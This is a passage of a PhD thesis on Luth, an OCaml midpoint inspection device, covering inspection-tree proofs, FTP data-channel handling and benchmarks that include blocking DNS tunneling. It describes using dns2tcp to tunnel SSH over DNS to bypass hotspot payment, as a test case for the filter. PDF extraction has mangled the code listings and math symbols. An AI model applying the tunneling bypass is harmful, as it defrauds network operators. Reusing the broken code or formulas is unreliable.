This algorithm presents interesting properties, indeed it can be classified as being part ofMapReduce
algorithms [110]. MapReduce algorithms perform a task over a generic set by means of the map op-
erator. Then, a synthesis of all the different answers by means of an ad-hoc reduce operator is used as
result. As shown by [110], Google has successfully used such methods to efficiently perform important
data processing on computer clusters. We have, not during this Ph.D, taken the time to explore the dis-
tribution of this inspection algorithm. For example, to inspect messages arriving at 10MB/s, a cluster of
computers interconnected at 1GB/s could be helpful with a distributed version of the inspect algorithm.
Nevertheless, before executing the non distributed version of the algorithm, it should first be validated.
2.2.2.3 Definition of a Valid Tree
The type checker of OCaml validated the type-safety of our algorithm. The inspect function has type
va l i n s p e c t : genmsg −> s t a t e _ t r e e −> s t a t e _ t r e e ∗ ds
The definitions of the projection should however be reminded:
l e t genmsg_ to_msg_ l aye r_ i gmsg = match gmsg with
| Msg_i msgi −> msgi
| _ −> r a i s e P r o j e c t i o n E r r o r
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a
bc
Figure 2.5: Graph example
The case of exceptions is not validated by the static type checking. However with a policy like
.../S1/S2/..., where the types msg_layer_S2 and msg_uplayer_S1 are different, all the packets output by
S1 will produce a ProjectionError which can bee seen as a dynamic type error. To statically ensure the
absence of such errors, some constraints must be verified on the trees. We remind that MISET is the set
of MIs in our midpoint inspection device.
Definition 2 Let the relation adc, like are_directly_composable, be defined like that: ∀(x,y) ∈
MISET 2,adc(x,y)⇔ msg_uplayer_x and msg_layer_y have the same type.
Among all the packet types, we define two special packet types to validate the root and the leaves of
the tree. msg_layer_empty is the type of empty messages, and msg_layer_network the type of message
that comes from the network to the midpoint inspection device.
Definition 3 To prevent the presence of leaves that output packets, let us define:
∀x ∈MISET, is_acceptable_lea f (x)⇔ msg_uplayer_x and msg_layer_empty are the same type.
To validate that the highest inspector of the tree analyzes messages coming from the network, let us
define:
∀x ∈MISET, is_valid_root(x)⇔ msg_layer_x and msg_layer_network are the same type.
Checking the validity of a tree is therefore straightforward [59]. For very long protocol layerings a
useful feature could be that the interpreter automatically fills missing midpoint inspectors with interme-
diate MIs.
2.2.2.4 Guessing Missing Parts of Incomplete Policies
Let us take the example of a policy S1/../Si/../SN , where all the Si are default midpoint inspectors. In this
case, it would be useful that the midpoint inspection device deduces the valid layering, i.e. that by writing
S1/SN , the inspector deduces the policy S1/../Si/../SN . To check the validity of a layering, checking that
each father children Si/S j pair are adc is therefore not sufficient, as the absence of intermediary filling
layering should be verified too. To do so, other definitions are necessary:
Definition 4 Let us define direct_sublayers as, ∀x ∈ MISET ,direct_sublayers(x) = {y ∈
MISET,adc(y,x)}.
Let X be a set of couples, and Pro j(X) = {x,∃(x,z) ∈ X ∨ ∃(y,x) ∈ X}, the union of all the el-
ements appearing in the different couples in X. We will define a directed graph, using the usual
notation G = (V,E), V being the set of vertexes, and E the set of arcs. For example the graph
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({a,b,c},{(a,b),(b,c),(c,a)}) is depicted in figure 2.5. For a graph G = (VG,EG), we will use the
following notations, Edges(G) = EG and Vertices(G) =VG. Finally we will need to formalize the exis-
tence of missing parts.
Definition 5 Let (x,y) ∈MISET 2, y; x⇔ adc(y,x)∨∃z ∈MISET,adc(y,z)∧ z; x.
We can now define the graph we will use to compute the filling parts of a policy.
Definition 6 Let’s define the Sublayers Graph (SG) constructor as for x∈ S⊆MISET,SG(x,S)= (V,E),
E = {(a,x),a ∈ direct_sublayers(x)∩S}∪Sa∈direct_sublayers(x)∩SEdges(SG(a,S))
V = Pro j(E)
The following property will be useful:
Property 1 ∀(x,y) ∈MISET 2,y; x⇔ y ∈Vertices(SG(x,MISET ))
Let us prove both implications.
• ∀(x,y) ∈MISET 2,y; x⇒ y ∈Vertices(SG(x),MISET ) :
This proposition can be proved by recursion on |MISET |. Let’s take |MISET |= 1.
y; x⇒ y = x ∈ direct_sublayers(x), as x is the only element in MISET . Therefore (x,x) ∈
Edges(SG(x,MISET ))⇒ x ∈Vertices(SG(x,MISET )).
Let’s take |MISET |= 2.
y; x⇒ adc(y,x)∨∃z ∈MISET,adc(y,z)∧ z; x.
If adc(y,x) then x ∈Vertices(SG(x,MISET )).
Else adc(y,z)∧¬adc(y,x)⇒ z 6= x. Therefore MISET = {x,z}.
As z; x is true z; x finishes, which implies adc(z,x).
If y= z, then ¬adc(y,x)⇒¬adc(z,x), which contradicts adc(z,x).
Else y = x, adc(y,z)⇒ adc(x,z). With adc(x,z)∧adc(z,x), we have Vertices(SG(x,MISET )) =
{x,z} and therefore x ∈Vertices(SG(x),MISET ).
Let’s assume that for all the |MISET |= n the proposition is true and let’s take |MISET |= n+1.
Let (x,y) ∈MISET 2:
– If adc(y,x), y ∈ direct_sublayers(x) ⇒ (y,x) ∈ Edges(SG(x,MISET )) ⇒ y ∈
Vertices(SG(x,MISET )).
– Else y; x⇒∃x1 ∈MISET\{y},adc(y,x1)∧ x1; x.
If x1; x, then x1; x is true, and therefore the computation x1; x terminated. By exploring
the different recursive calls that lead to x1; x, let us extract the layering l = x1/.../xn/x. If
y is in l, then we can write l = x1/../xi/y/x1′.../x′n/x, and replace x1 by x′1 in the previous
proposition.
Therefore we can deduce that ∃x1 ∈ MISET ′ = MISET\{y},adc(y,x1) ∧ x1 ; x ∧
∀x j ∈ l,x j ∈ MISET ′. |MISET ′| = n therefore by the recursion property, we can say
that x1 ∈ Vertices(SG(x,MISET ′)). Moreover by the existence of l, we will have
Edges(SG(x1,MISET ))⊆ Edges(SG(x2,MISET )))⊆ Edges(SG(x,MISET )).
As adc(y,x1) we have (y,x1) ∈ Edges(SG(x1,MISET )) ⊆ Edges(SG(x,MISET )) ⇒ y ∈
Vertices(SG(x)).
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• y ∈Vertices(SG(x,MISET ))⇒ y; x :
Let’s take |MISET |= 1.
y ∈ Vertices(SG(x,MISET )) ⇒ y = x as Vertices(SG(x,MISET )) ⊆ MISET . Moreover x ∈
Vertices(SG(x,MISET ))meansVertices(SG(x,MISET )) 6= /0⇒ direct_sublayers(x) 6= /0. There-
fore as direct_sublayers(x)⊆MISET , direct_sublayers(x) =MISET ,MISET being a set of one
element, and so adc(x,x)⇒ x; x.
Let’s take |MISET |= 2.
y ∈Vertices(SG(x,MISET ))⇒∃(y,z)∨ (z,y) ∈ Edges(SG(x,MISET )).
(y,z)∈ Edges(SG(x,MISET ))⇒ adc(y,z). If adc(z,x) then y; x. Else, As |MISET |= 2, z= x∨
z= y∨y= x. If z= x, then adc(y,z)⇒ adc(y,x)⇒ y; x. If z= y, then ¬adc(z,x)⇒¬adc(y,x),
and adc(y,z)⇒ adc(y,y).
¬adc(y,x)∧adc(y,y)⇒MISET = {x,y}. With (y,y)∈ Edges(SG(x,MISET )), we have adc(y,x)
which contradicts ¬adc(y,x) and therefore z 6= y.
If y= x we have here ¬adc(z,x)∧adc(y,z)⇒¬adc(z,x)∧adc(x,z).
Let’s assume that for all the |MISET ′|= n the proposition is true and let’s take |MISET |= n+1.
– If adc(y,x) then y; x.
– Else y ∈Vertices(SG(x,MISET ))⇒∃z ∈Vertices(SG(x,MISET )),
(y,z) ∈ Edges(SG(x,MISET ))∨ (z,y) ∈ Edges(SG(x,MISET )).
∗ (y,z) ∈ Edges(SG(x,MISET )) :
Let’s define D1= {(a,x);a ∈ direct_sublayers(x)} and
D2 =
S
a∈direct_sublayers(x)Edges(SG(a,MISET )). As ¬adc(y,x) we have y /∈
D1. Let’s take D2′ = D2\S(a,b)∈MISET 2{(a,y),(y,b)}. If z ∈ D2′, then z ∈
Vertices(SG(x,MISET ′)) where MISET ′ =MISET\{y}, |MISET ′| = n. Therefore by
the recursion property z; x, and as adc(y,z), y; x.
If z /∈ D2′, let’s take z′ ∈ D2′,adc(y,z′). z′ exists because y /∈ direct_sublayers(x). By
applying to z′ the same reasoning applied to the previous z we conclude that y; x.
∗ (z,y) ∈ Edges(SG(x,MISET )) :
By renaming z↔ y and y↔ z we obtain y; x together with z; y (which is useless for
this part of the demonstration).
With this property the problem of missing intermediate layers between S1/SN can be solved by
checking whether S1 ∈ SG(SN). An algorithm to compute the shortest path from S1 to SN gives the
shortest filling layering [83]. To have all the possible layerings, one just needs to find all the spanning
trees of SG(SN) with algorithms depicted in [207] and make the union of the paths from S1 to SN in all
the spanning trees. Last, but not least, the following optimization problem is still open.
2.2.2.5 Optimization of the Inspection Tree
Our inspection algorithm takes a tree as input and scans over all its children to take a decision. We
are therefore willing to minimize the nodes of the tree. The question that rises is whether for exam-
ple the two trees in Figure 2.6 are equivalent ? By equivalent we mean that for all the sequences of
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Figure 2.6: Equivalent trees ?
messages both firewalls can observe, they produce the same sequence of decisions. Let’s say that af-
ter some sequence of messages, the leaves F31,F32,F4 output ds31,ds32,ds4. We decide to shorten by
r the reduce function in our algorithm. By executing the end of the algorithm, the first tree outputs:
(1)r({r({ds31,ds32}),r({ds4})}), and the second tree: (2)r({ds31,ds32,ds4}).
Let’s take the example of this r function: r({ds31,ds32}) = ds4,r({ds4}) = ds4.
r({ds31,ds32,ds4}) = ds31,ds31 6= ds4.
Like that, we have:
(1)r({r({ds31,ds32}),r({ds4})}) = ds4,
(2)r({ds31,ds32,ds4}) = ds31 =⇒ (1) 6= (2)
And therefore, the two trees are not equivalent. We use℘ to express the set of the subsets of a set, i.e.
℘({1,2}) = { /0,{1},{2},{1,2}}, and define the following:
Definition 7 Let DS be a set of decisions containing the following properties: reduce :℘(DS)→ DS,
∀X ∈℘(℘(DS)),reduce({reduce(x),x ∈ X}) = reduce(Sx∈X x)
We use analogy with election algorithms to illustrate this property. In indirect elections, people first
vote for special electors, who, in a second round, make the final choice. By taking as X, the set of people
electing their special electors, the election of super electors can be seen as {reduce(x),x ∈ X}, and the
choice of super electors as reduce({reduce(x),x ∈ X}). In direct election, all the people vote at once
which can be seen as reduce(
S
x∈X x). The property of our reduce function can be seen as a constraint to
prevent situations similar to United States of America’s 2000 presidential election, an indirect election
system. Indeed in this case, the elected president would have lost the election in a direct system, and
vice-versa.
Let IT be the set of valid inspection trees. A valid tree is said to be Reduced if all its paths from
the root to the leaves produce a unique result given a specific sequence of messages. We consider that
two valid trees are equivalent if they produce the same sequence of decisions for all the sequences of
input packets. Finally, for a a valid tree x, we define as paths(x), the set of paths from the root to all
of its leaves. Based on those definitions the analysis of our algorithm proved the Theorem ??. Let
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x ∈ IT,x Reduced, ∀y ∈ IT,equiv(x,y)⇔ paths(x) = paths(y). From this theorem we can deduce that
the minimum equivalent tree of a reduced tree is a factorized tree, where there are no duplicated fathers.
The algorithm in Listing 2.3 computes such a tree by using the primitives we added in 2.2.
Listing 2.2: Listing of join primitives
(∗ un ion e f , c r e a t e s t h e s e t e U f ∗ )
va l un ion : ( ’ a s e t −> ’ a s e t ) −> ( ’ a s e t )
(∗ choose e , choose s an e l emen t ove r a s e t e , and r i s e s
an e x c e p t i o n i f t h e s e t i s empty ∗ )
va l choose : ( ’ a s e t ) −> ’ a
(∗ d i f f e f , computes t h e s e t e \ f ∗ )
va l d i f f : ( ’ a s e t ) −> ( ’ a s e t ) −> ( ’ a s e t )
Listing 2.3: Listing of tree factorization
l e t l a b e l t r e e = f s t ( g e t _ l a b e l _ a n d _ c h i l d r e n t r e e )
l e t rec r j o i n t r e e s =
i f i s _emp ty t r e e s then emp ty s e t
e l s e
l e t l = map l a b e l t r e e s in
l e t rec g roup_ s ame_ l abe l r ema i n i ng r e s x =
i f i s _emp ty r ema i n i ng then b u i l d _ t r e e x ( r j o i n r e s )
e l s e
l e t elm = choose r ema i n i ng in
l e t c o n t i n u e = d i f f r ema i n i ng ( s i n g l e t o n elm ) in
i f ( l a b e l elm ) = x then
l e t n r e s = un ion r e s ( c h i l d r e n elm ) in
g roup_ s ame_ l abe l c o n t i n u e x
e l s e g roup_ s ame_ l abe l c o n t i n u e r e s x
in
map ( g roup_ s ame_ l abe l t r e e s emp ty s e t ) l
l e t j o i n ( t r e e : mi t r e e ) = b u i l d _ t r e e ( l a b e l t r e e ) ( r j o i n ( c h i l d r e n t r e e ) )
We have in this section described the model we use to analyze the first version of the inspection
algorithm. By this model we provide algorithms to compute:
• the validity of inspection trees,
• the missing default layers of an incomplete layering,
• the optimized version of valid inspection trees.
The first version of the inspection algorithm is based on a static tree configured by the policy a user
wants to implement. However, dynamically negotiated layerings, as for example FTP data channels,
creates the need for modifying dynamically the inspection tree. The following section describes how the
second version of the inspect algorithm permits to dynamically modify a given inspection tree.
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Client ServerFile Transfert
(a) First usage
Client
Server1 File Transfert Server2
(b) Second usage
Figure 2.7: The two FTP usages
2.2.3 Handling of Dynamically Negotiated Layering
We refer as dynamically negotiated layerings, the layerings that depend on parameters negotiated during
a previously instantiated layering. Inspecting the File Transfer Protocol (FTP) [36] protocol inspection
permits to evaluate whether dynamically negotiated layerings are handled by one midpoint inspection
device. The FTP protocol is used to transfer files among computers, organized in two different ways as
depicted in Figure 2.7:
• in 2.7a, Client and Server negotiate a transfer from Client to Server, or from Server to Client,
• in 2.7b, Client negotiates a transfer from Server1 to Server2 or from Server2 to Server1.
To do so, FTP uses two different communication channels. The first communication channel ne-
gotiates the parameters to do the file transfer, called control channel. The second communication chan-
nels is dynamically computed using the parameters exchanged in the control channel. This dynam-
ically computed data channel is used to transfer the file. The layering used by the control channel
is IPv4/TCP/FTPControl. As said earlier, this layering negotiates a set of parameters p < MI >
to configure the data channel, and its layering: IPv4(pIPv4)/TCP(pTCP)/Ft pData(pFt pData).
In most of nowadays endhost operating systems, the new layering is computed by means of the
socket library. Indeed, some primitives of the library8 gives the possibility to one user to config-
ure the creation of a predefined set of monolithic protocol layerings. However our inspection al-
gorithm works using a different paradigm and needs therefore to find another solution to this prob-
lem. Therefore in our case, the FTPControl MI needs to find a way to dynamically add a temporary
IPv4(pIPV4)/TCP(pTCP)/FTPData(pFt pData) into the inspection tree. This problem implies three
issues:
1. how to compute the different set of parameters p<MI >,
8bind,listen and connect for instance.
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2. how to compute the layering,
3. how to integrate it to the inspection tree.
The difficulty of computing p < MI > resides in the fact that according to the messages it sees, the
FTPControl inspector may not know some values to compute pIPv4, or pTCP. Moreover, the user
configuring the policy of the firewall does not a-priori know the values in {pIPv4, pTCP, pFTPData}
that are computed during the observation of messages in FTPControl.
We chose to police these dynamic layerings with variables whose values have to be set
before being integrated to the inspection tree. For example in the FTP protocol, the mes-
sages exchanged in the control channel permits to configure parts of the TCP tuple, i.e
client_address,server_address,client_port,server_port of the data channel. Therefore we define the
variables related_client and related_server, that represent the dynamically negotiated parameters of the
TCP tuple in the control channel. Moreover, to give the ability to express the link between the control
channel and the data channel, we define the variables previous_client and previous_server that repre-
sents the addresses or ports , in function of the argument they configure, of the TCP tuple of the control
channel computing the dynamical layering.
These variables are dynamically substituted by means of the of the analyze_res_mi_j functions. In-
deed, the second version of the inspection algorithm has the modifications presented in the Listing 2.4.
Listing 2.4: Listing of the modification of the inspect function’s body
| Ou t_ i ou t −>
. . .
(∗ t a k e s t h e s e t o f a l l new d e c i s i o n s ∗ )
l e t d s s e t = map ge t _ s e cond_e l emen t
c h i l d r e n _ r e s u l t s in
l e t d sou t = a n a l y z e _ r e s _m i _ j n ew_ r o o t _ s t a t e
( r educe d s s e t ) in
( b u i l d _ t r e e n ew_ r o o t _ s t a t e n ew_ c h i l d r e n _ s t a t e s ,
d s ou t )
Once all the variables of a layering are substituted the layering is computed. Finally, to integrate
the layering into the inspection tree, we add the decision add_child taking as parameter a dynamically
configured layering into the decision set DS.
Let us illustrate more in detail how this mechanism works. Two different messages analyzed by
FTPControl configure the different p values, the PASV and PORT messages. Without entering into
the details of such messages, the Figure 2.8 shows how the computation is done. The negotiated pa-
rameters influence the values of the new layering depicted on the right part of the Figure 2.8. These
parameters encode the source and destination IPv4 addresses, together with the source and destina-
tion ports in TCP. As said earlier, we identify as related_client and related_server the values of
addresses of ports negotiated by the PASV and PORT messages seen by the FTPControl MI. The
previous_client and previous_server identify the values of addresses and ports of the control chan-
nel layering. The arguments to configure the FTPControl MI has therefore an optional argument
data_channel, to police the expected dynamic layerings. Let’s say the user configures the following
rule: FTPControl(data_channel = IPv4(src= previous_server,dst = previous_client)
/TCP(sport = 20,dport = related_server)/FTPData).
After observing the PASV message, FTPControl computes the value of related_server
and outputs the decision add_child child, with child = IPv4(src = previous_server,dst =
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Figure 2.8: Add child
previous_client)/TCP(sport = previous_client,dport = 1026)/FTPData. Then TCP analyzes
the result, and updates child, producing for example cc = IPv4(src = previous_server,dst =
previous_client)/TCP(sport = 20,dport = 1026)/FTPData, and similarly IPv4 outputs: ccc =
IPv4(src = 0.0.0.1,dst = 0.0.0.2)/TCP(sport = 20,dport = 1026)/FTPData. The root of the tree
then appends this new layering to the set of temporary layerings and inspects the messages according to
the updated tree. This version of the inspection algorithm is not validated by the Theorem ??. Indeed the
situation is more complicated here. If we go back to the examples we mentioned to illustrate the equiv-
alence of factorized tree in the Figure 2.6 and call ar the function analyze_res_F2 stF2, the equations
become: (1)r({ar(r({ds31,ds32})),ar(r({ds4}))})
(2)ar(r({ds31,ds32,ds4})). The necessary conditions on the ar and r functions to maintain the equiva-
lence are left for future work.
We have shown in this section the modification done to the inspection algorithm to handle dynami-
cally negotiated layerings. In the following section we describe the implementation of this version of the
inspection algorithm.
2.3 Implementation and Benchmarking of the Midpoint Inspection Device
This section presents Luth, the midpoint inspection device prototype we develop. This prototype is
stressed on two different cases studies involving firewall functionalities. The first one addresses the DNS
protocol, the second one FTP.
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Figure 2.9: Luth’s logo
2.3.1 Name and Targeted Platform
Luth is a new kind of midpoint inspection device that can be configured with great flexibility. Among
others, its configuration language can be used to express detailed inspections, as in policies with long
layerings or shorter ones, if for example the user does not want the device to perform heavy computing.
Inspired by the analogy made by computer firewalls, Luth stands for Lur Ur Ta Haize, which means in
Basque language, Earth, Water And Wind. Indeed, fire can be stopped by water and earth or propagated
by wind. The same way Luth can use different ways to inspect Internet communications, or to let some
anomalies bypass itself. This is the reason of Luth’s triskel hat. The triskel is a celtic symbol representing
the four elements: fire, water, wind and earth standing in the middle of the symbol. That is why the triskel
hat has only two branches: the fire is gone (Luth does not fight fire with fire). Finally Luths are the biggest
turtles overseas. Indeed, when most of other inspection devices are mainly concerned about processing
speed, Luth focuses on the expressiveness and the correction of its algorithms and implementations.
Indeed, quoting Aesop’s The Tortoise and the Hare, "Slow and steady wins the race."
2.3.2 Different Case Studies
The implementation of Luth is written in OCaml, making a quite extensive use of the Melange library to
safely and efficiently parse packets [169].
To perform online inspections, the binding of the libnetfliter_queue [26] to OCaml has been de-
veloped with the help of the stub code generator CamlIDL [8]. This library offers some system-calls
to communicate with Netfilter, GNU/Linux’s framework to implement firewalls and NAT routers. The
packets to inspect are selected by means of the iptables utility [26]. Let us illustrate how this library
works with the following example:
i p t a b l e s −s 1 9 2 . 1 6 8 . 1 . 2 5 4 −d 1 9 2 . 1 6 8 . 1 . 1 −A FORWARD − j NFQUEUE\
−−queue−num 0 #R1
i p t a b l e s −d 1 9 2 . 1 6 8 . 1 . 1 −d 192 . 1 6 8 . 1 . 2 5 4 −A FORWARD − j NFQUEUE\
−−queue−num 1 #R2
R1 tells Netfilter to send all the packets forwarded by the operating system having the IPv4 source
address 192.168.1.254 and the 192.168.1.1 destination address to a program in userspace polling the
queue identified by the number “0”. The program in question informs Netfilter that he will be polling
one queue by means of the function provided by the libnefilter_queue library. R2 tells the packets from
192.168.1.1, to 192.168.2.254 to go to the software polling the queue “1”. The same program can poll
multiple queues by means of the “select” system-call. After having inspected the packet, the decision is
communicated to Netfilter using other functions of the library. The reader should notice that the decisions
49
CHAPTER 2, SECTION 2.3
Netfilter offers to give are different from the decisions Luth can take. Therefore Luth translates to its best
the ds decisions to Netfilter decisions. We won’t go further for now, as more details will be given in
Section 4.2.2.
To perform offline inspections, a binding of the libpcap library [45] to OCaml, mlpcap [23], has been
modified to remove identified bugs.
To check the correction and measure the performance of the current implementations we first check
it under two different experiments involving filtering decisions like firewalls do. The first experiment
targets DNS tunneling and the second, the FTP protocol.
2.3.2.1 DNS tunneling
To get the Internet for free in commercial hotspots, a DNS tunneling technique can be used quite ef-
ficiently. Indeed to redirect new clients’ first web page requests to a portal where the payment system
is explained, this kind of hotspot needs to let the client make DNS9 requests. However, whereas this
service only needs to make hostname resolutions, the hotspot usually let the users ask all types of DNS
requests. Users trying to get Internet for free use the semantically vast enough TXT10 requests, to en-
code TCP segment into DNS messages [136, 187]. To sum up, those bypassing layerings can be seen as
IPv4/UDP/DNS(messages=TXT)/Tunnel/...
To stress our firewall in this situation we choose to install the dnsmasq11 DNS forwarder in the server.
dnsmasqwill forward all theDNS requests it receives to a realDNS server. We then install the apache212
web server on S, and generate 20 html pages. Each of these pages have 10 images. Those images size
follows a 1.2 pareto distribution [109]. We multiply the pareto coefficients by 10240 to obtain image
sizes from 10 to 500KB. The simulation software in the legitimate client makes a host name resolution
request to a predefined set of domain names, and then downloads one of the 10 web pages only if the
request was successful.
To implement the hotspot thief, we register a domain name to make the DNS tunneling possible.
We choose the dns2tcp [136] tunneling framework and install the client software in the client with the
address 192.168.2.10 in Figure 2.10. Then we simulate a client that periodically uses the SSH protocol
over this DNS tunnel. After getting a shell on the distant server, we ask the server to display the contents
of one of the 100 files generated with the same pareto distribution using the cat utility. With a coefficient
of 10240, we obtain file sizes from 10 to 189 KB. We associate a timeout of 10s to the completion
of these requests. To demonstrate that Luth can handle cyclic layerings we implement the filtering of
this scenario into self-encapsulated GRE tunnels as depicted in Figure 2.1013. All the different hosts
are present in laasnetexp, a testbed environment in our laboratory [193]. The computers used in this
experiment present the characteristics described in the Figure 2.11.
The server and the firewall, i.e the server executing Luth, are connected by the 192.168.1.0/24 net-
work. To reach the 192.168.10.0/24 network, the firewall needs to go through n Generic Routing Encap-
sulation (GRE) [40] tunnels. The server, has to go through the same tunnels to reach the 192.168.2.0/24
network. Finally both clients use the 192.168.2.254 gateway to reach the 192.168.10.0/24 network. The
implementation of the n encapsulation is achieved using the iproute package of the Debian project. The
9http://www.ietf.org/rfc/rfc1034.txt
10http://www.isi.edu/in-notes/rfc1464.txt
11http://thekelleys.org.uk/dnsmasq/doc.html
12http://httpd.apache.org/
13The reader should notice that these tunnels are not necessary for both clients to perform their downloads. Indeed, the
tunnels only serve to illustrate the expressiveness of Luth.
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Figure 2.10: Tunneled DNS filtering. The 192.168.2.9 client downloads files in the HTTP server in
192.168.10.11 by means of DNS and HTTP protocols. The malicious client in 192.168.2.10 uses a
hidden channel by means of the DNS protocol to download files in the SSH server.
Network interface cards (NIC) Gigabit Ethernet controllers: Broadcom 5721J and IntelPro1000PT
Interconnection Gigabit Ethernet: Cisco Catalyst 6504
Processors Dual Core Xeon 3050
Memory 2GB of 667MHz Dual Rank ECC Memory (2x1GB)
Operating System Debian GNU/Linux (2.6.18 kernel)
Figure 2.11: Computer and interconnection network’s characteristics.
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developed MI together with their arguments are depicted in the manual depicted in Annex 3. We config-
ure 20 tunnels between the firewall and the server. We chose this value because approaching 35 tunnels,
both tunnel extremities have kernel panics. This is surely due to a segmentation fault in the kernel code
to handle the routing and the encapsulation process in the Linux kernel. We have not investigated this
issue for a lack of time. 20 is therefore a value representative enough that does not involve the crashing
of operating systems during the experiments.
To stress our firewall, we first randomly generate a scenario. 5 clients download in each hosts,
random files during one minute every t, where t follows a law having an exponential distribution of mean
0.01ms. We measure for each downloads, the time from the start of the client application to the end of
it divided by the size of the downloaded file, what is noted bandwidth. For a failed download the client
returns -1 as download bandwidth.
We run the experiments in three cases studies.
• First, no firewall is put in the midpoint inspection device, labeled Re f .
• Second, a userspace firewall we have written for benchmarking purposes in C, labeled C fw. This
firewall accepts all the packets after having read them by means of of the libnetfilter_queue library.
• Third, with Luth configured with a certain rule in it, labeled Luth.
We configure Luth using the rule depicted in Listing 2.5.
Listing 2.5: DNS rule
IF ( name=idx2 , a dd r s = d e f a u l t , messy=yes , l o = 1 9 2 . 1 6 8 . 1 . 2 5 4 ) ; ;
INSP (L2N / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /
Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /
Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / [ Dns | Http ] ) ; ;
The filtering tree computed by the firewall which fills the holes between Dns Htt p and Gre MIs is
depicted in Listing 2.6.
Listing 2.6: Dns rule’s MI Tree
L2N / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /
Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /
Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 /Gre / Ipv4 / Tt l ( m i n _ t t l = 1 0 ) / [
Tcp / [ Port ( s r _ p o r t =53 ) /Dns | Port ( s r _ p o r t =80 ) /Http ] |
Udp / Port ( s r _ p o r t =53 ) /Dns ]
The Figure 2.12 shows the bandwidth of the first of the five unauthorized clients without Luth (other
clients present similar results). With Luth all malicious downloads output −1, showing all such requests
have successfully been dropped. The five legitimate clients perform about 2000 downloads during the ex-
periment. Their download bandwith reaches 106B/s, going from 1 up to 107B/s for the fastest downloads
during the experiment without midpoint inspectors. Figure 2.13 shows the frequency of the downloads
in the different slots from 0 to 9.3 MB/s. We see that the curve labeled Luth seems to be the translation to
the left of both of other curves, meaning that the bandwidths obtained with Luth are overall slower than
in both of the other cases. We’d like here to quote Donald Knuth that gave the following advice: "We
should forget about small efficiencies, say about 97% of the time: premature optimization is the root of
all evil. Yet we should not pass up our opportunities in that critical 3%.A good programmer will not be
lulled into complacency by such reasoning, he will be wise to look carefully at the critical code; but only
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Figure 2.12: Performance of malicious DNS clients in the unfiltered case.
after that code has been identified" [155]. Our prototype is mainly concerned about expressiveness and
correction, and not performances. That’s why we have not during this Ph.D taken the time to identify
these critical sections.
By comparing Luth’s bandwidth curve, to Cfw and Ref curve, both the side-effects due to being in
userspace and due to the performed inspections are taken into account. However, we want to just evaluate
the side-effects due to the performed inspections. To have a better understanding of the difference among
these three distributions, Figure 2.14 plots the following distributions representing the 2000 legitimate
client downloads times:
• Ref - Ref’: Ref’ being the experiment Ref executed another time.
• Cfw - Cfw’: Cfw’ being the experiment Cfw executed another time.
• Ref - Cfw.
We see in Figure 2.14 that the difference of Ref - Ref’ is negligible: the network state, and respec-
tive client and server application states are stable enough during two experiments. The negative results
obtained in Ref - Cfw shows that some downloads have been faster in the C firewall than in the Ref
experiment. One explanation of such a trend is that by slowing down some downloads, the following
downloads reach the HTTP server faster and are therefore served more quickly than in the Ref exper-
iment. Even if interesting, we have not investigated this phenomenon more deeply. What should be
noticed here is that Cfw - Cfw’ looks like Ref - Cfw. By this, we see that the scheduling, queueing, and
context-switching, induced by the userspace firewall creates a non negligible variability, independent of
the inspections done by the firewall (else Cfw - Cfw’ will look like Ref - Ref’).
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Figure 2.13: Distribution of downloads bandwidth obtained with dns filtering using default configuration.
The download bandwidths reached in Ref and Cfw experiments are mostly in the interval [1.9∗106,2.8∗
106[ B/s, when the ones obtained during Luth experiment are in [9.3∗105,1.9∗106[.
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Figure 2.14: Evaluation of the side effect provoked by a userspace firewall. Being in userspace creates
a variability that influences the bandwidth results as much as the performed inspection ((C fw−C fw′ '
Re f −C fw) 6= Re f −Re f ′).
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Figure 2.15: Distribution of download bandwidth differences in DNS experiment with default configu-
ration.
To isolate userspace side-effects and measure the ones due to Luth inspections, we compare the
difference between Luth Cfw and Luth Ref, with the differences between Cfw and Cfw’, or Ref and
Cfw, the ones exhibiting the side-effects due to being in userspace. Therefore, Figure 2.15 plots the
following distributions:
• Cfw - Cfw’,
• Ref - Cfw,
• Ref - Luth,
• Cfw - Luth.
As depicted in Figure 2.15 the curves Cfw - Luth, and Ref - Luth have similar shapes. The same
way the curves Cfw - Cfw’, and Ref - Cfw present similar shapes, that seam to be a translation from
about 1MB/s to the left. This translation shows a non negligible slow down induced by to the inspections
performed by Luth.
The rule in Listing 2.7 aims at specifying a new policy to the situations. If the computations
done by the hotspot’s HTTP server are trusted14, inspecting the layering involved in the HTTP ses-
sion (TCP/HTTP) can be considered as useless. In this case, we can configure Luth to accept all TCP
packets without performing any inspection on them, and concentrate the work on DNS filtering with the
rule described in Listing 2.7.
14Indeed in this peculiar case, the DNS tunneling problem comes from the DNS server.
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Figure 2.16: Distribution of downloads bandwidth obtained with DNS filtering using optimized config-
uration.
Listing 2.7: Dns custom rule
IF ( name=idx2 , a dd r s = d e f a u l t , messy=yes , l o = 1 9 2 . 1 6 8 . 1 . 2 5 4 ) ; ;
INSP (L2N / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 /
Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 /
Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / Gre / Ipv4 / [ Tcp ( t c p _on l y =yes ) | Udp / Dns ] ) ; ;
The figures 2.16 and 2.17 show that with this configuration, the slow down induced by Luth’s inspec-
tion is less visible.
In this case study, we have shown that Luth could be used to efficiently implement a policy that drops
DNS tunneling in open hot spots.
2.3.2.2 FTP filtering
We evaluate in this section how Luth handles dynamically negotiated protocol layerings, by dropping
passive FTP clients while accepting active ones. We describe the results given by the experiment depicted
in Figure 2.18 with N=1 client. We generate 100 files of random size using files following a pareto
